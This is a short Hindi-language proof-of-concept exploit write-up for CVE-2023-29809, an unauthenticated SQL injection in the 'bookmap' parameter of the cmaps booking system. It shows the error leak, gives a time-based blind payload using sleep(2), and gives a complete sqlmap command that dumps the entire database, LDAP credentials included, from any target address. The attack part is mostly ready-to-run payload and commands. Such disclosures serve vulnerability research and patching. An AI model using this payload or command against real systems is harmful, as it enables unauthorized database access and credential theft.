
CVE-2023-29809 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट: cmaps बुकिंग सिस्टम में बिना प्रमाणीकरण के SQL इंजेक्शन। समय-आधारित ब्लाइंड इंजेक्शन का प्रदर्शन करता है और डेटाबेस निष्कर्षण के लिए sqlmap कमांड प्रदान करता है।
विवरण:
पाई गई कमजोरी एक SQL इंजेक्शन है। bookmap पैरामीटर संवेदनशील है। जब पेज पर जाते हैं: http://192.168.0.56/rest/booking/index.php?mode=list&bookmap=test तो हमें सामान्य JSON प्रतिक्रिया मिलती है। हालांकि यदि bookmap पैरामीटर के मान में एक एकल उद्धरण जोड़ा जाता है तो हमें एक त्रुटि संदेश मिलता है:
<b>Warning</b>: mysqli_num_rows() expects parameter 1 to be mysqli_result, bool given in <b>/var/www/html/rest/booking/index.php</b> on line <b>152</b><br />
अब यदि दो एकल उद्धरण जोड़े जाते हैं तो हमें बिना किसी त्रुटि के सामान्य प्रतिक्रिया मिलती है। यह SQL इंजेक्शन के अवसर की पुष्टि करता है। वास्तव में SQL इंजेक्शन साबित करने के लिए हम निम्नलिखित पेलोड जोड़ते हैं:
'-(select*from(select+sleep(2)+from+dual)a)--+
पेज दो सेकंड के लिए सो जाएगा। यह SQL इंजेक्शन की पुष्टि करता है।
पुनरुत्पादन के चरण:
कमजोरी का परीक्षण करने के लिए निम्नलिखित पेलोड भेजें: '-(select*from(select+sleep(2)+from+dual)a)--+
यदि साइट दो सेकंड के लिए सो गई तो पूरे डेटाबेस को ldap क्रेडेंशियल्स समेत डंप करने के लिए निम्नलिखित sqlmap कमांड चलाएँ।
python3 sqlmap.py -u "http://<IP>/rest/booking/index.php?mode=list&bookmap=test*" --random-agent --level 5 --risk 3 --batch --timeout=10 --drop-set-cookie -o --dump
विशेष धन्यवाद iCaotix को जिन्होंने पर्यावरण सेटअप करने और मेरे पेलोड को डीबग करने में बहुत मदद की।
प्रतिक्रिया समय देखें।
